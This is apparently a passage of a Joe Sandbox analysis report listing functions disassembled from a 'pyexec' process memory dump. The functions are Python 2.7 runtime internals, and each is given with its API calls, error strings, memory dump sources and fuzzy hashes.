                                                                                                                                                                    • '%.50s' object has no attribute '%.400s', xrefs: 670C6DE0
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Type_$Dict_EncodedErr_FormatItemLookupReadyStringUnicode
                                                                                                                                                                    • String ID: '%.50s' object has no attribute '%.400s'$attribute name must be string, not '%.200s'
                                                                                                                                                                    • API String ID: 2490400702-3798209010
                                                                                                                                                                    • Opcode ID: 1837d29ba12330c1903307263a60a1d737f2085543d081715e6295424c06e818
                                                                                                                                                                    • Instruction ID: be9398a9fd969d723b043ae086f15c4872e3b6b58875719fb0f618f55af32d52
                                                                                                                                                                    • Opcode Fuzzy Hash: 1837d29ba12330c1903307263a60a1d737f2085543d081715e6295424c06e818
                                                                                                                                                                    • Instruction Fuzzy Hash: 8E619471E005059BD724CF54D880BBEB3B4EF59324F148269ED298B285E735ED62CBE2
                                                                                                                                                                    Function 670065D0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 191COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                      • Part of subcall function 670064F0: Py_FatalError.PYTHON27(GC object already tracked), ref: 67006560
                                                                                                                                                                    • PyString_AsStringAndSize.PYTHON27(00000000,?,?), ref: 6700662A
                                                                                                                                                                    • PyString_AsStringAndSize.PYTHON27(00000000,?,?), ref: 67006656
                                                                                                                                                                    • PyErr_GivenExceptionMatches.PYTHON27(?,67244978), ref: 670066F7
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 67006703
                                                                                                                                                                    • PyErr_SetString.PYTHON27(00000000,unexpected end of data), ref: 6700673D
                                                                                                                                                                    • PyErr_Format.PYTHON27(00000000,line contains NUL), ref: 67006790
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$String$SizeString_$ClearErrorExceptionFatalFormatGivenMatches
                                                                                                                                                                    • String ID: line contains NUL$unexpected end of data
                                                                                                                                                                    • API String ID: 2960452433-1196342961
                                                                                                                                                                    • Opcode ID: ba6a92ab141bd237928e37ea40a1537481d29ba00c039752694a373c3048f87a
                                                                                                                                                                    • Instruction ID: 7fad1aaa14c92a94d275016529959bfb7a83ffb8bf7c1253db3d7a1e1d5864fe
                                                                                                                                                                    • Opcode Fuzzy Hash: ba6a92ab141bd237928e37ea40a1537481d29ba00c039752694a373c3048f87a
                                                                                                                                                                    • Instruction Fuzzy Hash: 5F51A3766042018BE710CE68E884B5673F6AF9C334F144669ED688B241F735E995CBF2
                                                                                                                                                                    Function 670C4E20 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 161COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_WarnEx.PYTHON27(67246B30,__methods__ not supported in 3.x,00000001), ref: 670C4E85
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 670C4EE7
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 670C4F55
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672455C0,00000000), ref: 670C4F61
                                                                                                                                                                    • PyCFunction_NewEx.PYTHON27(?,?,00000000), ref: 670C4F8E
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FromStringString_$Function_ObjectWarn
                                                                                                                                                                    • String ID: __doc__$__methods__$__methods__ not supported in 3.x
                                                                                                                                                                    • API String ID: 2564561678-680540298
                                                                                                                                                                    • Opcode ID: 4ff6208849fb2ab0081a0c9b938f0c696427ee13c8da9756e87dee913661d5d0
                                                                                                                                                                    • Instruction ID: f4595c1d3e223e0797edcdafbac59dbda2eb32879cfcade9e1c5cf1657291de3
                                                                                                                                                                    • Opcode Fuzzy Hash: 4ff6208849fb2ab0081a0c9b938f0c696427ee13c8da9756e87dee913661d5d0
                                                                                                                                                                    • Instruction Fuzzy Hash: 2141EB766081442BD711CE3498817AE7FFABF5A22CB4942A5FD588B241E733D40AC3B3
                                                                                                                                                                    Function 670C76A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 115COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,__dir__,?,?,?,670C77F7), ref: 670C76B9
                                                                                                                                                                    • PyErr_GivenExceptionMatches.PYTHON27(?,672455C0), ref: 670C76DB
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670C76E7
                                                                                                                                                                      • Part of subcall function 670C74E0: PyDict_New.PYTHON27(?,67249E88,?,670C7758,?), ref: 670C74E7
                                                                                                                                                                      • Part of subcall function 670C74E0: PyDict_Keys.PYTHON27(00000000), ref: 670C7504
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(67249E88,?,?,?,?,?,?,?,?,?,670C77F7), ref: 670C7728
                                                                                                                                                                    • PyObject_CallFunctionObjArgs.PYTHON27(00000000,00000000,?,?,?,?,?,?,?,?,670C77F7), ref: 670C7773
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,__dir__() must return a list, not %.200s,?), ref: 670C77B1
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Dict_Object_$ArgsAttrCallClearExceptionFormatFunctionGivenKeysMatchesStringSubtypeType_
                                                                                                                                                                    • String ID: __dir__$__dir__() must return a list, not %.200s
                                                                                                                                                                    • API String ID: 875330717-2214674259
                                                                                                                                                                    • Opcode ID: 31b59c10825cc63790a1fa73963920b1609ac0a4036328b0e1ab686ea4b5936f
                                                                                                                                                                    • Instruction ID: 376dabf8abc881a01f78d13e160e71deda4dfe6f9873b1eea2ebdcf40f96aac2
                                                                                                                                                                    • Opcode Fuzzy Hash: 31b59c10825cc63790a1fa73963920b1609ac0a4036328b0e1ab686ea4b5936f
                                                                                                                                                                    • Instruction Fuzzy Hash: 943147B6A002191BC610D668AD42B5FB3E9DB8D275F11036AED2887240FB35DC16C6F3
                                                                                                                                                                    Function 67005670 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 114COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyCallable_Check.PYTHON27(?), ref: 670056A4
                                                                                                                                                                      • Part of subcall function 670C7170: PyObject_GetAttrString.PYTHON27(6708F42C,__call__,?,6708F42C,00000000), ref: 670C718B
                                                                                                                                                                      • Part of subcall function 670C7170: PyErr_Clear.PYTHON27(6708F42C,00000000), ref: 670C7197
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,first argument must be callable or None), ref: 670056C3
                                                                                                                                                                    • PySequence_GetSlice.PYTHON27(?,00000001,?), ref: 670056D9
                                                                                                                                                                    • _PyObject_GC_NewVar.PYTHON27(?,00000000), ref: 670056FB
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 67005725
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Object_String$AttrCallable_CheckClearErrorFatalSequence_Slice
                                                                                                                                                                    • String ID: GC object already tracked$P&&g$first argument must be callable or None
                                                                                                                                                                    • API String ID: 381339369-3830690537
                                                                                                                                                                    • Opcode ID: 7f649b8463e15331a7ecdb345adca92257c4e692100b6eef8aebdba373f27b1a
                                                                                                                                                                    • Instruction ID: ded3a42676c0a3b5fe3c9c8f771e48fc9d1082a8587b016caed84186e459d8e7
                                                                                                                                                                    • Opcode Fuzzy Hash: 7f649b8463e15331a7ecdb345adca92257c4e692100b6eef8aebdba373f27b1a
                                                                                                                                                                    • Instruction Fuzzy Hash: 0431D5B9A006019FE710CF54D889F56B3E4EB5D375B104669E9398B380E734E986CBE1
                                                                                                                                                                    Function 670D7D80 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 97COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000036,00000000,6708B1D5,?,?,?,6708F66F,00000000,?,00000000,6708F785,00000000), ref: 670D7DA3
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 376477240-1836021864
                                                                                                                                                                    • Opcode ID: ee212683eab3db5d5960d7c4d1b7ce5203daf3ab723b6e4d9a8492be97e2f5c0
                                                                                                                                                                    • Instruction ID: d421fcc79e0ae577d163c2bc9cb90d4c249679737cf3d615faaca5b077a491ac
                                                                                                                                                                    • Opcode Fuzzy Hash: ee212683eab3db5d5960d7c4d1b7ce5203daf3ab723b6e4d9a8492be97e2f5c0
                                                                                                                                                                    • Instruction Fuzzy Hash: BA3139B26003145BCB108E59E891666F3F8F79E329B50076BEE2893240E7319855C7E1
                                                                                                                                                                    Function 6708B460 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 93COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyNumber_AsSsize_t.PYTHON27(?,67245B38), ref: 6708B4C5
                                                                                                                                                                    • PySequence_DelItem.PYTHON27(?,00000000), ref: 6708B4E0
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708B53F
                                                                                                                                                                    Strings
                                                                                                                                                                    • '%.200s' object does not support item deletion, xrefs: 6708B512
                                                                                                                                                                    • sequence index must be integer, not '%.200s', xrefs: 6708B4F3
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708B539
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6708B4BD
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_ItemNumber_Sequence_Ssize_tString
                                                                                                                                                                    • String ID: '%.200s' object does not support item deletion$8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$null argument to internal routine$sequence index must be integer, not '%.200s'
                                                                                                                                                                    • API String ID: 3718473444-1144456611
                                                                                                                                                                    • Opcode ID: afd80093366d377329882aa312e81d5707e623810d3652598f1e8ece340fb740
                                                                                                                                                                    • Instruction ID: b4503ac7266924e410b56990bb53f43d93bf2f39e6480fc099b6023119fa39ed
                                                                                                                                                                    • Opcode Fuzzy Hash: afd80093366d377329882aa312e81d5707e623810d3652598f1e8ece340fb740
                                                                                                                                                                    • Instruction Fuzzy Hash: 1A212776600200DBEE04CA54FC86F6673D8AF59339F24072AE92C4B681D736E885C671
                                                                                                                                                                    Function 670C7420 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 78COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyFrame_FastToLocals.PYTHON27(00000000), ref: 670C743E
                                                                                                                                                                      • Part of subcall function 670B5510: PyDict_New.PYTHON27 ref: 670B552F
                                                                                                                                                                      • Part of subcall function 670B5510: PyErr_Clear.PYTHON27 ref: 670B553E
                                                                                                                                                                    • PyString_FromString.PYTHON27(frame does not exist), ref: 670C7458
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672465C8,00000000,frame does not exist), ref: 670C7461
                                                                                                                                                                    • PyObject_CallMethod.PYTHON27(?,keys,00000000), ref: 670C748E
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,dir(): expected keys() of locals to be a list, not '%.200s',?), ref: 670C74B7
                                                                                                                                                                    Strings
                                                                                                                                                                    • keys, xrefs: 670C7488
                                                                                                                                                                    • frame does not exist, xrefs: 670C7453
                                                                                                                                                                    • dir(): expected keys() of locals to be a list, not '%.200s', xrefs: 670C74B1
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$CallClearDict_FastFormatFrame_FromLocalsMethodObjectObject_StringString_
                                                                                                                                                                    • String ID: dir(): expected keys() of locals to be a list, not '%.200s'$frame does not exist$keys
                                                                                                                                                                    • API String ID: 29291870-2405348499
                                                                                                                                                                    • Opcode ID: 9e0631703c2ceb92bf1b2bf98cc11926de06b7ec5b3e95ed9cd8f4c082b9cd40
                                                                                                                                                                    • Instruction ID: ff2234c9a3f81ad45d7d117e4df1a1f1fb014ea5947309a6310b14d595033ddd
                                                                                                                                                                    • Opcode Fuzzy Hash: 9e0631703c2ceb92bf1b2bf98cc11926de06b7ec5b3e95ed9cd8f4c082b9cd40
                                                                                                                                                                    • Instruction Fuzzy Hash: B0110272E019201BC220CA68AC0AF9F73E8DB5A634F110365ED689B240E775ED06C7E3
                                                                                                                                                                    Function 670AC6E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71threadstringCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyEval_SaveThread.PYTHON27(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,670ACDE2), ref: 670AC6F8
                                                                                                                                                                      • Part of subcall function 6710E4E0: Py_FatalError.PYTHON27(PyEval_SaveThread: NULL tstate,00000000,671267DA,00000000,00000000,?,?,6712A352,__builtin__,00000000,00000000,00000000,00000000), ref: 6710E4FA
                                                                                                                                                                      • Part of subcall function 6710E4E0: InterlockedDecrement.KERNEL32(?), ref: 6710E516
                                                                                                                                                                      • Part of subcall function 6710E4E0: SetEvent.KERNEL32(?,?,?,6712A352,__builtin__,00000000,00000000,00000000,00000000), ref: 6710E524
                                                                                                                                                                    • _fileno.MSVCR90 ref: 670AC703
                                                                                                                                                                    • _fstat64i32.MSVCR90(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,670ACDE2), ref: 670AC712
                                                                                                                                                                    • PyEval_RestoreThread.PYTHON27(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,670ACDE2), ref: 670AC71B
                                                                                                                                                                      • Part of subcall function 6710E540: Py_FatalError.PYTHON27(PyEval_RestoreThread: NULL tstate,?,?,671267F6,00000000,00000000,00000000,?,?,6712A352,__builtin__,00000000,00000000,00000000,00000000), ref: 6710E550
                                                                                                                                                                      • Part of subcall function 6710E540: _errno.MSVCR90 ref: 6710E569
                                                                                                                                                                      • Part of subcall function 6710E540: _errno.MSVCR90 ref: 6710E585
                                                                                                                                                                    • strerror.MSVCR90 ref: 670AC73B
                                                                                                                                                                    • _PyObject_CallFunction_SizeT.PYTHON27(67244EC0,(isO),00000015,00000000,?), ref: 670AC757
                                                                                                                                                                      • Part of subcall function 6708F2F0: PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708F317
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67244EC0,00000000), ref: 670AC768
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_ErrorEval_FatalThread_errno$CallDecrementEventFunction_InterlockedObjectObject_RestoreSaveSizeString_fileno_fstat64i32strerror
                                                                                                                                                                    • String ID: (isO)
                                                                                                                                                                    • API String ID: 3937096073-307836670
                                                                                                                                                                    • Opcode ID: 9c2a4233dab59b3e73c91e920a548c846eed4bf6ed3f5518c86c15136bba2949
                                                                                                                                                                    • Instruction ID: 494cc3c38835690a75ffda9d53f8523070d2b966513d9554a58901bbb5fdb514
                                                                                                                                                                    • Opcode Fuzzy Hash: 9c2a4233dab59b3e73c91e920a548c846eed4bf6ed3f5518c86c15136bba2949
                                                                                                                                                                    • Instruction Fuzzy Hash: 05113B75A002005BD710EAB8DC49B5B73ECDB48329F11077AEE29C3245FB35E81487E6
                                                                                                                                                                    Function 6700B460 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(json.decoder), ref: 6700B473
                                                                                                                                                                    • PyImport_Import.PYTHON27(00000000), ref: 6700B486
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(00000000,errmsg), ref: 6700B4AB
                                                                                                                                                                    • PyObject_CallFunction.PYTHON27(?,(zOO&),?,?,Function_0000ADF0,?), ref: 6700B4E9
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245D10,00000000), ref: 6700B4FF
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Object_String$AttrCallErr_FromFunctionImportImport_ObjectString_
                                                                                                                                                                    • String ID: (zOO&)$errmsg$json.decoder
                                                                                                                                                                    • API String ID: 3680976038-3043390446
                                                                                                                                                                    • Opcode ID: 7fdc58a65ff19068b1684692ea3a40110144d4d63d01e38aa64aaba1690f8c26
                                                                                                                                                                    • Instruction ID: 6acbc2b28a90e8bf602ef73635b86791c10496f97a84c6ca0253f3f821ae5524
                                                                                                                                                                    • Opcode Fuzzy Hash: 7fdc58a65ff19068b1684692ea3a40110144d4d63d01e38aa64aaba1690f8c26
                                                                                                                                                                    • Instruction Fuzzy Hash: 671106B29405029BD714DA68DC45F5B33E8AF9A734B010328EA2857341E738EE46C7F2
                                                                                                                                                                    Function 67017F30 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 58COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_UnpackTuple.PYTHON27 ref: 67017F55
                                                                                                                                                                      • Part of subcall function 67125D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                      • Part of subcall function 67125D90: PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
